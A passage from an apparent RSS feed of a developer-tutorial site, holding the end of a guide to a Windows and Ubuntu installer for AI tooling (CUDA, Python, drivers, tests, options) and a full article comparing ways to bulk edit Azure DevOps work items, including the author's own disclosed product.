&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/iY7dDV6HRnZSaMEa0GVhG.png&quot; alt=&quot;Windows report, Installed components: NVIDIA driver, Python 3.10 to 3.14, CUDA 12.9 and 13.2, cuDNN 9.20, Visual Studio 2022 Build Tools, Git, Node.js, .NET, FFmpeg and the page file&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: the latest NVIDIA WHQL driver, 617.42 on this PC. 2: Python 3.10 to 3.14 for all users in &lt;code&gt;C:\Python310&lt;/code&gt; to &lt;code&gt;C:\Python314&lt;/code&gt;, and &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;pip&lt;/code&gt; and &lt;code&gt;py&lt;/code&gt; start Python 3.12. 3: CUDA 12.9 and 13.2 side by side with 13.2 as the default, and cuDNN 9.20. 4: FFmpeg 9 in a shared and a static build. 5: a 100 GB page file. You also get Visual Studio 2022 Build Tools with the MSVC C++ compilers and the Windows SDK, the latest Visual C++ runtime, Git, Node.js 24, the .NET 10 SDK for SwarmUI and Windows long paths.&lt;/p&gt;
&lt;h4 id=&quot;20-steps-every-one-timed&quot;&gt;20 Steps, Every One Timed&lt;/h4&gt;
&lt;p&gt;The Steps table shows each step with its status and time. Open the messages of any step to see exactly what it did:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/rF52ng8F8tNlVBepEZwM-.png&quot; alt=&quot;Windows report, Steps: 20 steps, all OK, with the time of each step&quot;&gt;&lt;/p&gt;
&lt;p&gt;On this Windows 11 PC with an RTX 3090 Ti, CUDA 12.9 and 13.2 took 5 minutes, updating its Visual Studio Build Tools 3 minutes and the five Python versions 5 minutes. &lt;code&gt;PATH&lt;/code&gt; and the variables were backed up before they changed, the NVIDIA driver step ran last, and the tests took 1 minute 48 seconds. The CUDA installers leave out their bundled older display driver, because the driver has its own step.&lt;/p&gt;
&lt;h4 id=&quot;the-latest-nvidia-driver&quot;&gt;The Latest NVIDIA Driver&lt;/h4&gt;
&lt;p&gt;The installer keeps your NVIDIA driver up to date. It runs as the last installation step, right before the tests:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/a7tHyPT8_TFtRHFD_-UiU.png&quot; alt=&quot;Windows report, the NVIDIA driver step: the RTX 3090 Ti found, the newest WHQL driver looked up, nothing to install because it was already the newest&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: the driver comes after CUDA, cuDNN and every other part, so a driver restart never comes before the other installers. 2: it finds GeForce RTX 20-series and newer desktop and laptop cards by their hardware IDs, even with no driver installed yet. 3: it asks NVIDIA's live service for the newest compatible WHQL driver on every run, downloads the official NVIDIA-signed package and installs only the display driver. 4: a driver that is already the newest is kept, as here. Use &lt;code&gt;--skip nvidia&lt;/code&gt; to keep your driver, or &lt;code&gt;--only nvidia&lt;/code&gt; to update just the driver.&lt;/p&gt;
&lt;h4 id=&quot;made-for-pcs-that-already-have-tools&quot;&gt;Made for PCs That Already Have Tools&lt;/h4&gt;
&lt;p&gt;This PC already had Visual Studio Build Tools, a .NET SDK and a Python 3.14 from the Python Install Manager. The installer worked with what was there:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/Xq5b_zBrZAJE_RvaSob3e.png&quot; alt=&quot;Windows report, steps 6 to 9: existing Visual Studio updated, current Visual C++ runtime left alone, old Python 3.14 backed up and its virtual environments kept working&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: the existing Visual Studio Build Tools were updated to the latest 17.x. 2: the Visual C++ runtime was already current, so it was left alone. 3: the old Python 3.14 was unregistered with a backup, and &lt;code&gt;py -3.14&lt;/code&gt; now starts the new Python for all users. 4: a link keeps every existing virtual environment of the old Python working. The new .NET SDK was added next to the one already there.&lt;/p&gt;
&lt;h4 id=&quot;path-in-the-right-order&quot;&gt;PATH in the Right Order&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;PATH&lt;/code&gt; order decides which Python, CUDA and cuDNN every app finds. The installer puts each folder at the top of the system and user &lt;code&gt;PATH&lt;/code&gt; in the right order and shows the result in color:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/2V3CGM15lNB4BhiChEgvj.png&quot; alt=&quot;Windows report, the new SYSTEM PATH order: cuDNN and CUDA first, Windows folders, Python 3.12 first, build paths, FFmpeg and the PC's own entries&quot;&gt;&lt;/p&gt;
&lt;p&gt;Green entries were added, blue ones moved to the top, and white ones are your own entries, kept as they were. cuDNN and CUDA 13.2 come first, then the Windows system folders, then Python 3.12 and the other versions, the C++ build paths and the FFmpeg shared build. 7: the entries of your other programs stay after ours. Your &lt;code&gt;PATH&lt;/code&gt; before the change is listed below the table.&lt;/p&gt;
&lt;h4 id=&quot;environment-variables&quot;&gt;Environment Variables&lt;/h4&gt;
&lt;p&gt;The installer sets the variables that compilers and PyTorch extension builds look for, and it shows each one before and after:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/VZvKnTYKKGYgB0h0Gf_9n.png&quot; alt=&quot;Windows report, environment variables before and after: CUDA_HOME, CUDNN_PATH, INCLUDE, LIB, LIBPATH and NVCC_APPEND_FLAGS&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: &lt;code&gt;CUDA_HOME&lt;/code&gt; points to CUDA 13.2. 2: &lt;code&gt;CUDNN_PATH&lt;/code&gt; points to the cuDNN 9.20 root that torch extension builds and CMake expect. 3: &lt;code&gt;INCLUDE&lt;/code&gt;, &lt;code&gt;LIB&lt;/code&gt; and &lt;code&gt;LIBPATH&lt;/code&gt; make the C++ compiler work in every new terminal, like the Visual Studio developer prompt. 4: &lt;code&gt;nvcc&lt;/code&gt; gets the flag it needs with the MSVC compiler. &lt;code&gt;VSLANG&lt;/code&gt; keeps compiler messages in English for &lt;code&gt;torch.compile&lt;/code&gt;, and values that were already correct stay unchanged.&lt;/p&gt;
&lt;h4 id=&quot;visual-studio-updates-keep-compiling-working&quot;&gt;Visual Studio Updates Keep Compiling Working&lt;/h4&gt;
&lt;p&gt;Visual Studio installs every compiler update into a new version folder. Our installer gives &lt;code&gt;PATH&lt;/code&gt;, &lt;code&gt;INCLUDE&lt;/code&gt; and &lt;code&gt;LIB&lt;/code&gt; fixed paths that always lead to the current compiler and Windows SDK:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/N4nKzFPtWhvZEVYHaRJtK.png&quot; alt=&quot;Windows report, version-independent build paths, the scheduled task that re-points them, and the page file on the fastest of three drives&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: a fixed path leads to today's MSVC version. 2: a scheduled task points the paths at the new version at startup, at logon, after Visual Studio updates and every day, so open terminals keep working. 3: the 100 GB page file goes on the fastest suitable drive, chosen here from three drives.&lt;/p&gt;
&lt;h4 id=&quot;78-tests-run-for-real&quot;&gt;78 Tests, Run for Real&lt;/h4&gt;
&lt;p&gt;At the end, the installer tests everything with exactly the &lt;code&gt;PATH&lt;/code&gt; and variables that a new terminal or app gets:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/9Qs8OOI-Nq1_BROnTXUKH.png&quot; alt=&quot;Windows report, tests: 78 of 78 passed, and the PATH order tests for nvcc, cuDNN, cl and ffmpeg&quot;&gt;&lt;/p&gt;
&lt;p&gt;All 78 tests passed. The first group checks that every command finds the right program: &lt;code&gt;nvcc&lt;/code&gt; finds CUDA 13.2, cuDNN for CUDA 13 comes first, &lt;code&gt;cl&lt;/code&gt; is the MSVC compiler, &lt;code&gt;ffmpeg&lt;/code&gt; is the shared build, and the Windows system folders stay in front.&lt;/p&gt;
&lt;p&gt;Every Python version is started and checked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/H_BmdFL2euunCL3zYob7s.png&quot; alt=&quot;Windows report, Python tests: nvitop, py -0p, and for each version ssl, sqlite3, ctypes, tkinter, venv, pip, headers and libraries&quot;&gt;&lt;/p&gt;
&lt;p&gt;Each version runs with ssl, sqlite3, ctypes and tkinter, creates a virtual environment and runs &lt;code&gt;pip&lt;/code&gt; in it, and has the headers and libraries that compiling extensions needs. The nvitop GPU monitor is installed too.&lt;/p&gt;
&lt;p&gt;CUDA 12.9 and CUDA 13.2 are tested the way PyTorch uses them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/8lrUNv97nQUVA-mJFL6Oj.png&quot; alt=&quot;Windows report, CUDA and cuDNN tests: CUDA programs run on the GPU with correct results, Thrust and CUB, RTX 50xx code, NVRTC and cuDNN loading&quot;&gt;&lt;/p&gt;
&lt;p&gt;The tests compile, link and start a CUDA program, and on the RTX 3090 Ti its GPU result was correct with both CUDA versions. They compile the Thrust and CUB code that PyTorch extensions use, compile GPU code for RTX 50xx (Blackwell) cards and compile a kernel at run time with NVRTC. cuDNN is built into a C++ program and loads the way onnxruntime and insightface load it.&lt;/p&gt;
&lt;p&gt;The C++ tests build what &lt;code&gt;torch.compile&lt;/code&gt;, Triton and &lt;code&gt;pip&lt;/code&gt; build on your PC:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/8Kn7FzgMtVIZJjKG0stgW.png&quot; alt=&quot;Windows report, C++ compiler tests: English messages, Visual Studio updates, OpenMP, Python and CUDA extensions, CMake and Ninja&quot;&gt;&lt;/p&gt;
&lt;p&gt;An OpenMP library is built and loaded from Python, like &lt;code&gt;torch.compile&lt;/code&gt; does on the CPU. A Python C extension is built the way &lt;code&gt;pip&lt;/code&gt; builds insightface. CUDA 12.9 and CUDA 13.2 extensions are built with the compiler that PyTorch picks, the same way flash-attention and xformers are built. CMake and Ninja projects build too, and their CUDA programs ran on the GPU with correct results.&lt;/p&gt;
&lt;p&gt;The last groups test FFmpeg, Git, Node.js, .NET and Windows itself:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/-cQJzdSBTRBIuboR47f6P.png&quot; alt=&quot;Windows report, FFmpeg, Git, Node.js, .NET and Windows tests&quot;&gt;&lt;/p&gt;
&lt;p&gt;FFmpeg encodes a test video and reads it back, and its DLLs load the way torchcodec and torchaudio look for them. A .NET console app is created, built and run, as SwarmUI needs. A file path longer than 260 characters works, and the 100 GB page file is set.&lt;/p&gt;
&lt;h4 id=&quot;checked-downloads-and-backups&quot;&gt;Checked Downloads and Backups&lt;/h4&gt;
&lt;p&gt;Every download is checked before it is used, and every change is backed up first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/TawY2DpveS6cf0EqAZVBY.png&quot; alt=&quot;Windows report, downloads with signature and integrity checks, files and backups&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: every installer must carry a valid digital signature from NVIDIA, Microsoft, the Python Software Foundation or its other publisher. 2: archives pass an integrity check. 3: send us &lt;code&gt;logs.txt&lt;/code&gt; when you ask for help. 4: the backup folder holds &lt;code&gt;HOW_TO_RESTORE.txt&lt;/code&gt;. 5: one command puts &lt;code&gt;PATH&lt;/code&gt; and every variable back.&lt;/p&gt;
&lt;h4 id=&quot;windows-options&quot;&gt;Windows Options&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--dry-run&lt;/code&gt;: shows the plan and changes nothing.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--only nvidia&lt;/code&gt;: checks for and installs just the latest compatible NVIDIA driver.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--skip nvidia&lt;/code&gt;: keeps your current driver during a full installation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--only env,verify&lt;/code&gt;: runs only the steps you name. &lt;code&gt;--skip&lt;/code&gt; skips steps, and &lt;code&gt;--list-steps&lt;/code&gt; lists them.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--torch-test&lt;/code&gt;: installs PyTorch 2.13 with CUDA 13 in a temporary environment and runs real cuDNN convolution and BLAS tests on your NVIDIA GPU.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--restore-env &quot;backup folder&quot;&lt;/code&gt;: puts &lt;code&gt;PATH&lt;/code&gt; and the variables back from a backup.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--no-browser&lt;/code&gt;: keeps the report from opening automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pass them to the .bat from a terminal, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bat&quot;&gt;Windows_AI_Requirements_Installer.bat --dry-run
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;ubuntu-ai-requirements-installer&quot;&gt;Ubuntu AI Requirements Installer&lt;/h3&gt;
&lt;h4 id=&quot;how-to-run-it-1&quot;&gt;How to Run It&lt;/h4&gt;
&lt;p&gt;It works on Ubuntu 22.04, 24.04 and 26.04 LTS: desktop, server, cloud GPU machines and WSL2, and on systems based on them such as Linux Mint and Zorin OS (64-bit x86). Put &lt;code&gt;Ubuntu_AI_Requirements_Installer.sh&lt;/code&gt; into a folder, open a terminal there and run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo bash ./Ubuntu_AI_Requirements_Installer.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enter your password, and the rest is automatic. At the end, the HTML report opens in your browser, and the report and &lt;code&gt;logs.txt&lt;/code&gt; are saved next to the .sh file. Open a new terminal afterwards, and restart Ubuntu when the report asks for it after a new NVIDIA driver. The installation keeps running even if you close the terminal.&lt;/p&gt;
&lt;h4 id=&quot;what-it-installs-1&quot;&gt;What It Installs&lt;/h4&gt;
&lt;p&gt;The Ubuntu report starts with the same overview:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/BpesZRKSPDWcOY6aBa9n9.png&quot; alt=&quot;Ubuntu report, Installed components: Python 3.10 to 3.14 and 3.13t, 3.14t, CUDA 12.9 and 13.2, cuDNN 9.20, compilers, Git, Node.js, .NET, FFmpeg, uv and swap&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: Python 3.10 to 3.14 and the free-threaded 3.13t and 3.14t. &lt;code&gt;python&lt;/code&gt; and &lt;code&gt;py&lt;/code&gt; start Python 3.12, and Ubuntu's own &lt;code&gt;python3&lt;/code&gt; stays as it is. 2: CUDA 12.9 and 13.2 with cuDNN 9.20 for CUDA 13 (CUDA 13.4 on Ubuntu 26.04). 3: FFmpeg 9 in a static and a shared build. 4: a swap file for 100 GB of swap in total. GCC, Clang, CMake, Ninja, Git with Git LFS, Node.js 24, the .NET 10 SDK and uv come too.&lt;/p&gt;
&lt;h4 id=&quot;17-steps-the-nvidia-driver-last&quot;&gt;17 Steps, the NVIDIA Driver Last&lt;/h4&gt;
&lt;p&gt;Each step is listed with its time:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/lnUocmDR1c2DpNTa9z_Ru.png&quot; alt=&quot;Ubuntu report, Steps: 17 steps, all OK, with the time of each step and the NVIDIA driver step last&quot;&gt;&lt;/p&gt;
&lt;p&gt;The installer first repairs the package system and adds the software sources for CUDA, Python and Node.js. On our fresh PC, the seven Python versions took 43 seconds and the tests 28 seconds. You also get aria2, 7-Zip, unrar, nvtop, htop and cloudflared for the apps' share links.&lt;/p&gt;
&lt;p&gt;On a PC with an NVIDIA GPU, the driver step installs the newest driver that Ubuntu offers for the card, R595 or newer (R615 on Ubuntu 26.04), with open kernel modules from Ubuntu's signed packages. It upgrades the driver again on every run, never downgrades it, and gives RTX 50 (Blackwell) cards the open kernel module they need. It runs last, right before the tests.&lt;/p&gt;
&lt;h4 id=&quot;ready-in-every-new-terminal&quot;&gt;Ready in Every New Terminal&lt;/h4&gt;
&lt;p&gt;The environment is written once for all users and loaded by every kind of terminal:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/Sp7kGVkFoFw-GGOcdEMSh.png&quot; alt=&quot;Ubuntu report, environment for every new terminal: profile file, variables for all users and use-cuda 12.9&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: login shells, bash and zsh all load it. 2: &lt;code&gt;use-cuda 12.9&lt;/code&gt; switches one terminal to CUDA 12.9 when you need it. 3: &lt;code&gt;CUDA_HOME&lt;/code&gt;, &lt;code&gt;CUDA_PATH&lt;/code&gt;, &lt;code&gt;CUDNN_PATH&lt;/code&gt; and the CUDA tools in &lt;code&gt;PATH&lt;/code&gt; are set for all users. 4: this file is what every new terminal loads. The libraries are registered system wide, so no &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; is needed, and lines in &lt;code&gt;~/.bashrc&lt;/code&gt; and similar files that switch to another CUDA version are removed with a backup.&lt;/p&gt;
&lt;h4 id=&quot;66-tests-run-as-you&quot;&gt;66 Tests, Run as You&lt;/h4&gt;
&lt;p&gt;Every test runs as your user with exactly the environment that a new terminal gets:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/4AQxOrIBcWQhuoyeeOvPy.png&quot; alt=&quot;Ubuntu report, tests: 66 of 66 passed, and the Python tests for each version&quot;&gt;&lt;/p&gt;
&lt;p&gt;All 66 tests passed. Each Python version runs with ssl, sqlite3, lzma, readline and tkinter, creates a virtual environment with &lt;code&gt;pip&lt;/code&gt; and compiles a C extension.&lt;/p&gt;
&lt;p&gt;The CUDA tests build and start programs with both CUDA versions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/SAEOzy6i-_TMJB4T6pfrp.png&quot; alt=&quot;Ubuntu report, CUDA and cuDNN tests: build and start CUDA programs, RTX 50xx code, use-cuda 12.9 and library registration&quot;&gt;&lt;/p&gt;
&lt;p&gt;They compile the Thrust and CUB code of PyTorch extensions and GPU code for RTX 50xx (Blackwell) cards, check that &lt;code&gt;use-cuda 12.9&lt;/code&gt; switches a terminal and back, and check that every program finds the CUDA and cuDNN libraries by name, like ONNX Runtime does.&lt;/p&gt;
&lt;p&gt;Then come the C++ and FFmpeg tests:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/rvSt6fxCbAtxAwMGQM_Ik.png&quot; alt=&quot;Ubuntu report, C++ compiler and FFmpeg tests: GCC, Clang, OpenMP, Triton-style launcher, CMake, Ninja and FFmpeg encoders&quot;&gt;&lt;/p&gt;
&lt;p&gt;GCC and Clang compile C++17, an OpenMP library is built and loaded like &lt;code&gt;torch.compile&lt;/code&gt; does on the CPU, and a GPU launcher is built the way Triton compiles one at run time. FFmpeg encodes a test video and offers the x264, x265, SVT-AV1, VP9 and NVENC encoders. Its shared libraries are found the way TorchCodec looks for them, and the files for building PyAV and decord are in place.&lt;/p&gt;
&lt;p&gt;The last groups check the tools and your own terminal:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/AL8PAMVtY-Wo1g-am71fP.png&quot; alt=&quot;Ubuntu report, Git, Node.js, .NET, tools and system tests&quot;&gt;&lt;/p&gt;
&lt;p&gt;Git LFS, Node.js, .NET, aria2c, 7-Zip, unrar, jq, cloudflared, nvtop and htop all work, and a .NET app builds as SwarmUI needs. Your own terminal uses CUDA 13.2, and your &lt;code&gt;~/.bashrc&lt;/code&gt;, conda or pyenv settings keep the installed tools in reach.&lt;/p&gt;
&lt;h4 id=&quot;before-and-after-downloads-and-backups&quot;&gt;Before and After, Downloads and Backups&lt;/h4&gt;
&lt;p&gt;The end of the report shows what changed and where everything is:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/lFkpFW_yeLzeL_YLpdIq3.png&quot; alt=&quot;Ubuntu report, before and after, downloads with SHA-256 checks, APT packages, files and backups&quot;&gt;&lt;/p&gt;
&lt;p&gt;1: a fresh Ubuntu before, everything installed after. 2: every download is checked, the archives with SHA-256. 3: every APT package of the run is listed. 4: every changed file is backed up with &lt;code&gt;HOW_TO_RESTORE.txt&lt;/code&gt;. 5: one command restores the files, and another removes what the installer added.&lt;/p&gt;
&lt;h4 id=&quot;ubuntu-options&quot;&gt;Ubuntu Options&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--yes&lt;/code&gt;: starts without a question, for scripts and cloud machines.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--dry-run&lt;/code&gt;: shows the plan without changing packages or settings.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--skip&lt;/code&gt; and &lt;code&gt;--only&lt;/code&gt;: skip steps or run only some, for example &lt;code&gt;--skip nvidia&lt;/code&gt; keeps your driver (&lt;code&gt;--list-steps&lt;/code&gt; lists them).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--swap-gb 32&lt;/code&gt;: sets the size of the swap file (0 = no swap file).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--torch-test&lt;/code&gt;: tests PyTorch 2.13 with CUDA 13 in a temporary environment: cuDNN convolution, BLAS, loaded libraries and &lt;code&gt;torch.compile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--repair&lt;/code&gt;: after a power loss or crash, checks every installed package and reinstalls damaged ones.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--restore-env &quot;backup folder&quot;&lt;/code&gt;: puts back the files it changed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--uninstall&lt;/code&gt;: removes what the installer added outside of APT.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo bash ./Ubuntu_AI_Requirements_Installer.sh --yes --skip swap
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;run-it-again-any-time&quot;&gt;Run It Again Any Time&lt;/h3&gt;
&lt;p&gt;Both installers are made to run again and again. Finished parts are only checked, failed or interrupted parts are retried and repaired, and components are updated to the versions in the installer. The NVIDIA driver is checked again on every run, too. Run the newest installer whenever you download it, and your PC stays ready for our newest apps.&lt;/p&gt;
</description>
<category>Tutorials</category>
<guid isPermaLink="true">https://coderlegion.com/31561/zero-to-ai-ready-pc-in-one-click-windows-ubuntu-ai-requirements-installer-full-tutorial</guid>
<pubDate>Sun, 18 Oct 2026 00:07:22 +0000</pubDate>
</item>
<item>
<title>How to bulk edit Azure DevOps work items without Excel (works on Mac)</title>
<link>https://coderlegion.com/31073/how-to-bulk-edit-azure-devops-work-items-without-excel-works-on-mac</link>
<description>&lt;hr&gt;
&lt;p&gt;title: &quot;How to bulk edit Azure DevOps work items without Excel (works on Mac)&quot;&lt;br&gt;
published: true&lt;br&gt;
description: &quot;Open in Excel needs the Office add-in and Windows. Three ways to edit many Azure DevOps work items at once: bulk edit in the query, CSV import, or a spreadsheet grid in the browser.&quot;&lt;br&gt;
tags: azuredevops, productivity, agile, tutorial&lt;br&gt;
canonical_url: &lt;a rel=&quot;nofollow&quot; href=&quot;https://jr-devtools.com/guides/bulk-edit-azure-devops-work-items-without-excel/&quot;&gt;https://jr-devtools.com/guides/bulk-edit-azure-devops-work-items-without-excel/&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;cover-image-https-jr-devtools-com-bulk-editor-screenshot-grid-png&quot;&gt;cover_image: &lt;a rel=&quot;nofollow&quot; href=&quot;https://jr-devtools.com/bulk-editor/screenshot-grid.png&quot;&gt;https://jr-devtools.com/bulk-editor/screenshot-grid.png&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Disclosure: I'm the developer of Bulk Editor, one of the options mentioned below. Originally published on &lt;a rel=&quot;nofollow&quot; href=&quot;https://jr-devtools.com/guides/bulk-edit-azure-devops-work-items-without-excel/&quot;&gt;jr-devtools.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;“Open in Excel” relies on the Azure DevOps Office Integration add-in: Windows only, and a frequent source of TF80012-style errors and Excel crashes. If you're on a Mac, can't install the add-in, or just want it to work, here are three ways to edit many work items at once.&lt;/p&gt;
&lt;h3 id=&quot;1-bulk-edit-in-the-query-results-built-in-&quot;&gt;1. Bulk edit in the query results (built in)&lt;/h3&gt;
&lt;p&gt;In a query or backlog, select several work items (Shift- or Ctrl-click), open the context menu and choose &lt;strong&gt;Edit&lt;/strong&gt;. You can set one or more fields to the &lt;strong&gt;same value&lt;/strong&gt; for all selected items, for example a new iteration, state or assignee.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Good:&lt;/strong&gt; built in, nothing to install. &lt;strong&gt;Limit:&lt;/strong&gt; every selected item gets the same value, so it doesn't help when each row needs its own estimate, title or tag.&lt;/p&gt;
&lt;h3 id=&quot;2-csv-export-and-import-built-in-&quot;&gt;2. CSV export and import (built in)&lt;/h3&gt;
&lt;p&gt;Run a query, export it with &lt;strong&gt;Export to CSV&lt;/strong&gt;, edit the file in any spreadsheet app, and bring it back with &lt;strong&gt;Boards → Work items → Import work items&lt;/strong&gt;. Rows with an ID update existing items, rows without one create new items.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Good:&lt;/strong&gt; works on any OS, handles different values per row. &lt;strong&gt;Limits:&lt;/strong&gt; rich-text fields such as Description are exported as raw HTML; errors only show up at import time; and nothing warns you if someone changed a work item after your export.&lt;/p&gt;
&lt;h3 id=&quot;3-a-spreadsheet-grid-in-the-browser&quot;&gt;3. A spreadsheet grid in the browser&lt;/h3&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://jr-devtools.com/bulk-editor/&quot;&gt;Bulk Editor&lt;/a&gt; (made by me) opens a query, a backlog selection or any list of work items in a spreadsheet-like grid inside Azure DevOps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;type in cells, use Enter and Tab, paste a block copied from Excel, and undo;&lt;/li&gt;
&lt;li&gt;pick lists, required fields, states and area/iteration paths come from your own process, and invalid values are flagged before you publish;&lt;/li&gt;
&lt;li&gt;nothing is saved until you select &lt;strong&gt;Publish&lt;/strong&gt;, and a row that someone else changed in the meantime is refused instead of overwritten;&lt;/li&gt;
&lt;li&gt;rich-text fields are never flattened; export to a clean .xlsx without HTML tags;&lt;/li&gt;
&lt;li&gt;Pro: import .xlsx back, add new work items and children, and change parents in tree queries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://jr-devtools.com/bulk-editor/screenshot-grid.png&quot; alt=&quot;Work items in a spreadsheet-like grid inside Azure DevOps&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Good:&lt;/strong&gt; nothing to install on your computer, works on Mac and Linux, different values per row with validation. &lt;strong&gt;Limits:&lt;/strong&gt; Azure DevOps Services only for now; Pro is paid ($12 per organization per month), with a free plan of 25 published work items per organization per month and a 14-day Pro trial.&lt;/p&gt;
&lt;h3 id=&quot;which-one-should-i-use-&quot;&gt;Which one should I use?&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;You want to …&lt;/th&gt;&lt;th&gt;Use&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Move 40 items to the next sprint&lt;/td&gt;&lt;td&gt;Bulk edit in the query&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Create a few hundred items once, from a plan someone sent you&lt;/td&gt;&lt;td&gt;CSV import&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Groom a backlog: different estimates, titles and owners per row, regularly&lt;/td&gt;&lt;td&gt;A grid in the browser&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Keep working in Excel on Windows with formulas&lt;/td&gt;&lt;td&gt;Open in Excel still does that, if the add-in works for you&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;related-guides&quot;&gt;Related guides&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://jr-devtools.com/guides/azure-devops-excel-add-in-not-working/&quot;&gt;Azure DevOps Excel add-in not working: fixes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://jr-devtools.com/guides/azure-devops-work-items-excel-mac/&quot;&gt;Azure DevOps work items in Excel on a Mac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://jr-devtools.com/bulk-editor/&quot;&gt;Bulk Editor: features, pricing and free plan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
